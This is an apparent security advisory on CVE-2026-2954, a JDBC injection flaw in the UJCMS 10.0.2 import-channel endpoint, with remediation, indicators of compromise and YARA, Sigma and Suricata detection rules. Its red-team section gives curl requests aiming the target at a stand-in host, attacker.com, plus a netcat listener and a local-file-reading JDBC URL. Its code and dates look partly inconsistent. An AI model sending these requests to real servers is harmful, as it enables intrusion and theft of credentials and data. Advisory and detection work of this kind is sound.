CVE-2026-2954

Executive Summary

CVE-2026-2954 is a critical injection vulnerability in Dromara UJCMS version 10.0.2, specifically within the ImportDataController component. The flaw resides in the /api/backend/ext/import-data/import-channel endpoint, where the driverClassName and url parameters are not properly sanitized, allowing an attacker to perform injection attacks. This vulnerability is remotely exploitable without authentication, and a public proof-of-concept (PoC) exists. The vendor has not responded to disclosure attempts, and no official patch is available at this time. The CVSS score of 6.3 (Medium) reflects the potential for partial confidentiality, integrity, and availability impact.

Supply Chain & Package Security

This vulnerability affects a Java-based CMS (UJCMS) distributed via Maven Central and GitHub. The lack of vendor response and absence of a patch create a significant supply chain risk. Organizations using UJCMS 10.0.2 should consider this component compromised until a fix is applied. The injection flaw could allow attackers to manipulate database connections, potentially leading to data exfiltration or lateral movement within the infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic injection flaw in the ImportDataController class of UJCMS. The endpoint /api/backend/ext/import-data/import-channel is designed to import channel data from external databases. It accepts driverClassName and url parameters to establish a JDBC connection. Due to insufficient input validation, an attacker can supply malicious values that alter the intended SQL query or database connection behavior.

Technical Details:

• The driverClassName parameter specifies the JDBC driver class (e.g., com.mysql.cj.jdbc.Driver). An attacker can inject arbitrary class names, potentially leading to remote code execution if a malicious driver is loaded.
• The url parameter specifies the database connection string. By manipulating this, an attacker can redirect the connection to an attacker-controlled database, exfiltrate data, or perform SQL injection against the target database.
• The injection occurs because the application directly concatenates user input into JDBC connection strings without sanitization or parameterization.

Attack Flow:

1. Attacker identifies a vulnerable UJCMS instance.
2. Sends a crafted POST request to /api/backend/ext/import-data/import-channel with malicious driverClassName and url values.
3. The server processes the request, loading the attacker-specified driver and connecting to the attacker-controlled database.
4. The attacker can then execute arbitrary SQL commands or exfiltrate data from the target system.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (UJCMS 10.0.2):

// ImportDataController.java
@PostMapping("/api/backend/ext/import-data/import-channel")
public String importChannel(@RequestParam String driverClassName, @RequestParam String url) {
    // Directly using user input to create a JDBC connection
    Connection conn = DriverManager.getConnection(url, username, password);
    // ... process data
}

Patched Code (Hypothetical):

// ImportDataController.java
@PostMapping("/api/backend/ext/import-data/import-channel")
public String importChannel(@RequestParam String driverClassName, @RequestParam String url) {
    // Validate driver class name against a whitelist
    List<String> allowedDrivers = Arrays.asList("com.mysql.cj.jdbc.Driver", "org.postgresql.Driver");
    if (!allowedDrivers.contains(driverClassName)) {
        throw new IllegalArgumentException("Invalid driver class");
    }
    // Validate URL format and restrict to allowed hosts
    if (!url.startsWith("jdbc:mysql://") && !url.startsWith("jdbc:postgresql://")) {
        throw new IllegalArgumentException("Invalid URL");
    }
    // Use parameterized connection (if possible) or strict validation
    Connection conn = DriverManager.getConnection(url, username, password);
    // ... process data
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: UJCMS 10.0.2 instance
• Attacker machine with Python/curl
• Attacker-controlled database (e.g., MySQL) to receive connections

Exploit Steps:

1. Set up a listener on the attacker machine to capture incoming database connections (e.g., using nc -lvnp 3306).
2. Send a crafted request to the vulnerable endpoint:

curl -X POST "http://target.com/api/backend/ext/import-data/import-channel" \
  -d "driverClassName=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://attacker.com:3306/malicious_db?user=root&password=root"

3. The target server will attempt to connect to the attacker-controlled database, revealing its internal IP and credentials.
4. For SQL injection, modify the URL to include malicious SQL:

curl -X POST "http://target.com/api/backend/ext/import-data/import-channel" \
  -d "driverClassName=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://localhost:3306/ujcms?user=root&password=root&allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/tmp"

Expected Outcome: The attacker gains the ability to exfiltrate data or execute arbitrary SQL commands on the target database.

Blue Team (Defensive)

Detection Steps:

1. Monitor logs for unusual POST requests to /api/backend/ext/import-data/import-channel.
2. Look for driverClassName or url parameters containing suspicious values (e.g., external IPs, unusual JDBC drivers).
3. Use network monitoring to detect outbound connections to unknown database servers (port 3306, 5432, etc.).
4. Implement Web Application Firewall (WAF) rules to block requests with non-standard JDBC URL patterns.

Honeypot Setup:

• Deploy a fake UJCMS instance with the vulnerable endpoint to capture attacker behavior.
• Log all incoming requests and analyze for injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/backend/ext/import-data/import-channel with driverClassName and url parameters.
  • Outbound connections to unknown IPs on ports 3306 (MySQL), 5432 (PostgreSQL), or 1433 (MSSQL).
  • Unusual JDBC connection strings in logs (e.g., jdbc:mysql://attacker.com/...).

• File IOCs:

  • Modified ImportDataController.java or related class files.
  • Presence of unexpected JDBC driver JAR files in the classpath.

• Log IOCs:

  • Error logs containing DriverManager.getConnection with external URLs.
  • Application logs showing ClassNotFoundException for unusual driver classes.

Detection Engineering

YARA Rule

rule CVE_2026_2954_UJCMS_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2026-2954 in UJCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-2954"
    strings:
        $s1 = "/api/backend/ext/import-data/import-channel" ascii nocase
        $s2 = "driverClassName" ascii nocase
        $s3 = "jdbc:mysql://" ascii nocase
        $s4 = "jdbc:postgresql://" ascii nocase
        $s5 = "com.mysql.cj.jdbc.Driver" ascii nocase
        $s6 = "org.postgresql.Driver" ascii nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2026-2954 UJCMS ImportDataController Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable UJCMS import endpoint with suspicious parameters.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/backend/ext/import-data/import-channel'
        cs-uri-query|contains:
            - 'driverClassName='
            - 'url=jdbc:'
    condition: selection
falsepositives:
    - Legitimate database import operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-2954 UJCMS ImportDataController Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/backend/ext/import-data/import-channel"; http_uri; content:"driverClassName"; http_client_body; content:"url=jdbc:"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or commenting out the ImportDataController class if not needed.
2. Implement input validation for driverClassName and url parameters (whitelist allowed drivers and URL patterns).
3. Apply a Web Application Firewall (WAF) rule to block requests containing driverClassName or jdbc: in the body.
4. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

• Upgrade to a patched version once available (monitor Dromara UJCMS GitHub releases).
• Conduct a security audit of all JDBC connection handling in the application.
• Implement parameterized queries and avoid dynamic JDBC connection strings.

Workaround:

• Restrict network access to the UJCMS server to trusted IPs only.
• Use a reverse proxy to filter and validate incoming requests.

Valters IT